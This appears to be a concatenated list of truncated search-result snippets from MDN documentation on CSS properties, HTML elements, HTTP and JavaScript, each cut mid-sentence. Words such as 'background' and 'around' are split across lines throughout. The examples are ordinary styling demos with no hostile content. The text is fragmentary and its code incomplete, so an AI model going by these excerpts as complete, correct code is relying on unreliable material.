round: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distanc...
offset - CSS: Cascading Style Sheets
examples animating an element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px; backg
round-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in that specification.
order - CSS: Cascading Style Sheets
guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container this example uses css to create a classic two-sidebar layout sur
rounding a content block.
orphans - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div { backg
round-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { backg
round-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
outline - CSS: Cascading Style Sheets
: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; backg
round: #ffa; } result specifications specification status comment css basic user interface module level 3the definition of 'outline' in that specification.
overflow-wrap - CSS: Cascading Style Sheets
(<code>hyphens</code>, german rules)</p> css p { width: 13em; margin: 2px; backg
round: gold; } .ow-anywhere { overflow-wrap: anywhere; } .ow-break-word { overflow-wrap: break-word; } .word-break { word-break: break-all; } .hyphens { hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'overflow-wrap' in that specification.
overflow - CSS: Cascading Style Sheets
in about:config, set layout.css.overflow.moz-scrollbars.enabled to true description overflow options include clipping, showing scrollbars, or displaying the content flowing out of its container into the sur
rounding area.
padding-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that specification.
padding-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specification.
padding-block - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block' in that specification.
padding-inline-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px; backg
round-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
padding-inline-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px; backg
round-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
padding-inline - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { backg
round-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px; backg
round-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
page-break-inside - CSS: Cascading Style Sheets
it has a little bit more text than the third one.</p> </div> css .page { backg
round-color: #8cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p { backg
round-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block; backg
round-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media module leve...
<percentage> - CSS: Cascading Style Sheets
examples width and margin-left <div style="backg
round-color:navy;"> <div style="width:50%; margin-left:20%; backg
round-color:chartreuse;"> width: 50%, left margin: 20% </div> <div style="width:30%; margin-left:60%; backg
round-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span...
place-self - CSS: Cascading Style Sheets
html <article class="container"> <span>first</span> <span>second</span> <span>third</span> <span>fourth</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { backg
round-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 80px; grid-gap: 10px; width: 300px; } span:nth-child(2) { place-self: start center; } span:nth-child(3) { place-self: center start; } span:nth-child(4) { place-self: end; } article span { backg
round-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; ...
repeat() - CSS: Cascading Style Sheets
</div> </div> css #container { display: grid; grid-template-columns: repeat(2, 50px 1fr) 100px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; backg
round-color: #8cffa0; padding: 10px; } #container > div { backg
round-color: #8ca0ff; padding: 5px; } result specifications specification status comment css grid layoutthe definition of 'repeat()' in that specification.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
rcentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; row-gap: 20px; } #flexbox > div { border: 1px solid green; backg
round-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-row-gap: 20px; } #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(3, 1fr); row-gap: 20px; } #grid > div { border: 1px solid green; backg
round-color: lim...
scroll-margin-inline-end - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; backg
round-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { backg
round-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-margin-inline-start - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; backg
round-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { backg
round-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap point...
scroll-margin-inline - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; backg
round-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { backg
round-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-margin - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; backg
round-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { backg
round-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap point...
scroll-snap-coordinate - CSS: Cascading Style Sheets
mandatory; font-size: 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-snap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-child(even) { backg
round-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { backg
round-color: #87ccea; } result specifications not part of any standard.
scroll-snap-destination - CSS: Cascading Style Sheets
p-destination: 20px 0; font-size: 0; } .destination0 { scroll-snap-destination: 0 0; } .destination25 { scroll-snap-destination: 25px 0; } .destination50 { scroll-snap-destination: 50px 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .scrollcontainer > div:nth-child(even) { backg
round-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { backg
round-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-x - CSS: Cascading Style Sheets
<div>1</div> <div>2</div> <div>3</div> </div> css #container { width: 200px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) { backg
round-color: #87ea87; } #container > div:nth-child(odd) { backg
round-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-y - CSS: Cascading Style Sheets
>2</div> <div>3</div> </div> css #container { height: 200px; width: 220px; overflow-x: hidden; overflow-y: auto; scroll-snap-points-y: repeat(200px); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) { backg
round-color: #87ea87; } #container > div:nth-child(odd) { backg
round-color: #87ccea; } result specifications not part of any standard.
scroll-snap-stop - CSS: Cascading Style Sheets
r; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 256px; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { backg
round-color: #87ea87; } .container > div:nth-child(odd) { backg
round-color: #87ccea; } html <div class="container x mandatory-scroll-snapping" dir="ltr"> <div>x mand.
scroll-snap-type - CSS: Cascading Style Sheets
er; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { backg
round-color: #87ea87; } .container > div:nth-child(odd) { backg
round-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
text-combine-upright - CSS: Cascading Style Sheets
html <p lang="ja" class="exampletext">平成20年4月16日に</p> css .exampletext { writing-mode: vertical-lr; text-combine-upright: digits 2; font: 36px serif; } results screenshotlive sample all the all value requires markup a
round every piece of horizontal text, but it is currently supported by more browsers than the digits value.
top - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body { backg
round: beige; } div { position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%; backg
round: gold; border: 1px solid blue; } <div>the size of this content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
touch-action - CSS: Cascading Style Sheets
html <div id="map"></div> css #map { height: 400px; width: 400px; backg
round: blue; touch-action: none; } result specifications specification status comment compatibility standardthe definition of 'touch-action' in that specification.
matrix() - CSS: Cascading Style Sheets
omogeneous coordinates on ℝℙ3 ac bd actxbdty001 actxbdty001 ac0txbd0ty00100001 [a b c d tx ty] the values represent the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
perspective() - CSS: Cascading Style Sheets
size: 100px; text-align: center; } p + div { width: 100px; height: 100px; transform-style: preserve-3d; margin-left: 100px; } .no-perspective-box { transform: rotatex(-15deg) rotatey(30deg); } .perspective-box-far { transform: perspective(9cm) rotatex(-15deg) rotatey(30deg); } .perspective-box-closer { transform: perspective(4cm) rotatex(-15deg) rotatey(30deg); } .top { backg
round-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left { backg
round-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front { backg
round-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transforms level 2the definition of 'perspective()' in that specifi...
scaleX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 s0 01 s00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .scaled { transform: scalex(0.6); backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scalex()' in that specification.
scaleY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10 0s 1000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .scaled { transform: scaley(0.6); backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scaley()' in that specification.
scaleZ() - CSS: Cascading Style Sheets
10001000s 1000010000s00001 examples html <div>normal</div> <div class="perspective">translated</div> <div class="scaled-translated">scaled</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .perspective { /* includes a perspective to create a 3d space */ transform: perspective(400px) translatez(-100px); backg
round-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(400px) scalez(2) translatez(-100px); backg
round-color: pink; } result specifications specification status ...
skew() - CSS: Cascading Style Sheets
oordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(ax)tan(ay)1 1tan(ax)0tan(ay)10001 1tan(ax)0tan(ay)10001 1tan(ax)00tan(ay)10000100001 [1 tan(ay) tan(ax) 1 0 0] examples using a single x-angle html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */ backg
round-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .skewed { transform: skew(10deg, 10deg); backg
round-color: pink; } result specifications specification s...
skewX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(a)01 1tan(a)0010001 1tan(a)0010001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */ backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
skewY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10tan(a)1 100tan(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .skewed { transform: skewy(40deg); backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
10tx01ty001 10tx01ty001 100tx010ty00100001 [1 0 0 1 tx ty] formal syntax translate(<length-percentage> , <length-percentage>?) examples using a single-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; backg
round-color: skyblue; } .moved { transform: translate(10px); /* equal to: translatex(10px) or translate(10px, 0) */ backg
round-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; backg
round-color: skyblue; } .moved { transform: translate(10px, 10px); backg
round...
translateX() - CSS: Cascading Style Sheets
10t010001 10t010001 100t010000100001 [1 0 0 1 t 0] formal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; backg
round-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */ backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
translateY() - CSS: Cascading Style Sheets
10001t001 10001t001 1000010t00100001 [1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; backg
round-color: skyblue; } .moved { transform: translatey(10px); backg
round-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
translateZ() - CSS: Cascading Style Sheets
html <div>static</div> <div class="moved">moved</div> css div { position: relative; width: 60px; height: 60px; left: 100px; backg
round-color: skyblue; } .moved { transform: perspective(500px) translatez(200px); backg
round-color: pink; } what really matters here is the class "moved"; let's take a look at what it does.
unicode-bidi - CSS: Cascading Style Sheets
isolate-override this keyword applies the isolation behavior of the isolate keyword to the sur
rounding content and the override behavior of the bidi-override keyword to the inner content.
var() - CSS: Cascading Style Sheets
examples :root { --main-bg-color: pink; } body { backg
round-color: var(--main-bg-color); } /* fallback */ /* in the component’s style: */ .component .header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { color: var(--text-color, black); } /* in the larger application’s style: */ .component { --text-color: #080; } specifications specification stat...
white-space - CSS: Cascading Style Sheets
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code { backg
round-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results { backg
round-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white-space: normal; font-size: 14px; } var select = document.queryselector("#css-code select"); var results = document.queryselector("#results p"); select.addeventlistener("change",...
widows - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div { backg
round-color: #8cffa0; columns: 3; widows: 2; } p { backg
round-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
writing-mode - CSS: Cascading Style Sheets
<td class="example text5"><span>example text</span></td> <td class="example text5"><span>מלל ארוך לדוגמא</span></td> <td class="example text5"><span>1994年に至っては</span></td> </tr> </table> css some preparatory css just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th { backg
round-color: lightgray; } .example { height:75px; width:75px; } the css that adjusts the directionality of the content looks like this: .example.text1 span, .example.text1 { writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -ms-writing-mode: horizontal-tb; } .example.text2 span, .example.text2 { writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -ms-writin...
z-index - CSS: Cascading Style Sheets
isually layering elements html <div class="dashed-box">dashed box <span class="gold-box">gold box</span> <span class="green-box">green box</span> </div> css .dashed-box { position: relative; z-index: 1; border: dashed; height: 8em; margin-bottom: 1em; margin-top: 2em; } .gold-box { position: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */ backg
round: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */ backg
round: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (revision 1)the definition of 'z-index' in that specification.
zoom - CSS: Cascading Style Sheets
mal; } p.big { zoom: 2.5; } p { display: inline-block; } p:hover { zoom: reset; } result second example html <div id="a" class="circle"></div> <div id="b" class="circle"></div> <div id="c" class="circle"></div> css div.circle { width: 25px; height: 25px; border-radius: 100%; text-align: center; vertical-align: middle; display: inline-block; zoom: 1.5; } div#a { backg
round-color: gold; zoom: normal; } div#b { backg
round-color: green; zoom: 200%; } div#c { backg
round-color: blue; zoom: 2.9; } result specifications not part of any standard.
Guide to Web APIs - Developer guides
web apis from a to z aambient light eventsbbackg
round tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong ta...
Cross-browser audio basics - Developer guides
> </audio> <div id="controls"> <span id="loading">loading</span> <button id="play" style="display:none">play</button> <button id="pause" style="display:none" >pause</button> </div> <div id="progress"> <div id="bar"></div> </div> styled like so: #controls { width: 80px; float: left; } #progress { margin-left: 80px; border: 1px solid black; } #bar { height: 20px; backg
round-color: green; width: 0; } now let's wire this thing up with javascript: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); var play = document.getelementbyid('play'); var pause = document.getelementbyid('pause'); var loading = document.getelementbyid('loading'); var bar = document.getelementbyid('bar'); function displaycontrols() { loadin...
Media buffering, seeking, and time ranges - Developer guides
the html for our player looks like this: <audio id="my-audio" preload controls> <source src="music.mp3" type="audio/mpeg"> </audio> <div class="buffered"> <span id="buffered-amount"></span> </div> <div class="progress"> <span id="progress-amount"></span> </div> we'll use the following css to style the buffering display: .buffered { height: 20px; position: relative; backg
round: #555; width: 300px; } #buffered-amount { display: block; height: 100%; backg
round-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%; backg
round-color: #595; width: 0; } and the following javascript provides our functionality: window.onload = function(){ var my...
Mouse gesture events - Developer guides
mozrotategesturestart the mozrotategesturestart event is sent when the user begins performing a rotate gesture, by placing two fingers on the trackpad and rotating them a
round the center of the trackpad.
Mutation events - Developer guides
cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the worka
round) "mutation name events", i.e.
Rich-Text Editing in Mozilla - Developer guides
or',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- color -</option> <option value="red">red</option> <option value="blue">blue</option> <option value="green">green</option> <option value="black">black</option> </select> <select onchange="formatdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- backg
round -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yit...
Making content editable - Developer guides
or',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- color -</option> <option value="red">red</option> <option value="blue">blue</option> <option value="green">green</option> <option value="black">black</option> </select> <select onchange="formatdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- backg
round -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yit...
HTML5 Parser - Developer guides
the older practice of escaping the string </script> by sur
rounding it with comment markers, while supported by html5, is problematic in cases where the closing comment marker is omitted (see preceding point).
Writing forward-compatible websites - Developer guides
targeting hacks at old versions of browsers whose current versions no longer have the bug you're relying on for your hack is ok; once a browser has fixed bug x, you can know for certain that all releases that had bug x also had bug y and use the presence of bug x to target worka
rounds for bug y.
HTML attribute: minlength - HTML: Hypertext Markup Language
input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus { backg
round-image: linear-gradient(pink, lightgreen); } specifications specification status html living standardthe definition of 'minlength attribute' in that specification.
Block-level elements - HTML: Hypertext Markup Language
the following example demonstrates the block-level element's influence: block-level elements html <p>this paragraph is a block-level element; its backg
round has been colored to display the paragraph's parent element.</p> css p { backg
round-color: #8abb55; } usage block-level elements may appear only within a <body> element.
<area> - HTML: Hypertext Markup Language
ping contains a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the backg
round).
<caption>: The Table Caption element - HTML: Hypertext Markup Language
<caption>example caption</caption> <tr> <th>login</th> <th>email</th> </tr> <tr> <td>user1</td> <td>user1@sample.com</td> </tr> <tr> <td>user2</td> <td>user2@sample.com</td> </tr> </table> caption { caption-side: top; align: right; } table { border-collapse: collapse; border-spacing: 0px; } table, th, td { border: 1px solid black; } table {backg
round: red;} do not alter caption.
<div>: The Content Division element - HTML: Hypertext Markup Language
html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; backg
round-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
<hgroup> - HTML: Hypertext Markup Language
ndered outline; for example: an <hgroup> might be shown in a rendered outline in with a colon character and space (“: ”) or other such punctuation after the primary heading and before the first secondary heading (and with the same or similar punctuation before any other secondary headings an <hgroup> might be shown in a rendered outline in with the primary heading followed by parentheses a
round the secondary heading(s) consider the following html document: <!doctype html> <title>html standard</title> <body> <hgroup id="document-title"> <h1>html</h1> <h2>living standard — last updated 12 august 2016</h2> </hgroup> <p>some intro to the document.</p> <h2>table of contents</h2> <ol id=toc>...</ol> <h2>first section</h2> <p>some intro to the first section.</p> </bo...
<input type="button"> - HTML: Hypertext Markup Language
<div class="toolbar"> <input type="color" aria-label="select pen color"> <input type="range" min="2" max="50" value="30" aria-label="select pen size"><span class="output">30</span> <input type="button" value="clear canvas"> </div> <canvas class="mycanvas"> <p>add suitable fallback here.</p> </canvas> body { backg
round: #ccc; margin: 0; overflow: hidden; } .toolbar { backg
round: #ccc; width: 150px; height: 75px; padding: 5px; } input[type="color"], input[type="button"] { width: 90%; margin: 0 auto; display: block; } input[type="range"] { width: 70%; } span { position: relative; bottom: 5px; } var canvas = document.queryselector('.mycanvas'); var width = canvas.width = window.innerw...
<input type="color"> - HTML: Hypertext Markup Language
because users can write colors in many different ways (such as rgb(255, 255, 0)), one way to work a
round this is to set a pattern attribute equal to either #[0-9a-f]{6} or #[0-9a-fa-f]{6} (preferably the latter because some users may not expect a different result with just a letter-case change) and set a placeholder attribute equal to a color representing the expected format of the user's input, such as #ff0000.
<input type="number"> - HTML: Hypertext Markup Language
note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may
round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
HTTP resources and specifications - HTTP
rtext transfer protocol version 2 (http/2) proposed standard rfc 7541 hpack: header compression for http/2 on the standard track rfc 7838 http alternative services on the standard track rfc 7301 transport layer security (tls) application-layer protocol negotiation extension used to negotiate http/2 at the transport to save an extra request/response
round trip.
A typical HTTP session - HTTP
to work a
round this problem, web developers use several techniques: ping the server periodically via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols.
Closures - JavaScript
a closure is the combination of a function bundled together (enclosed) with references to its sur
rounding state (the lexical environment).
Control flow and error handling - JavaScript
for example, do not write code like this: // prone to being misread as "x == y" if (x = y) { /* statements here */ } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses a
round the assignment, like this: if ((x = y)) { /* statements here */ } falsy values the following values evaluate to false (also known as falsy values): false undefined null 0 nan the empty string ("") all other values—including all objects—evaluate to true when passed to a conditional statement.
Details of the object model - JavaScript
of(object, constructor) { object = object.__proto__; while (object != null) { if (object == constructor.prototype) return true; if (typeof object == 'xml') { return constructor.prototype == xml.prototype; } object = object.__proto__; } return false; } note: the implementation above checks the type of the object against "xml" in order to work a
round a quirk of how xml objects are represented in recent versions of javascript.
Indexed collections - JavaScript
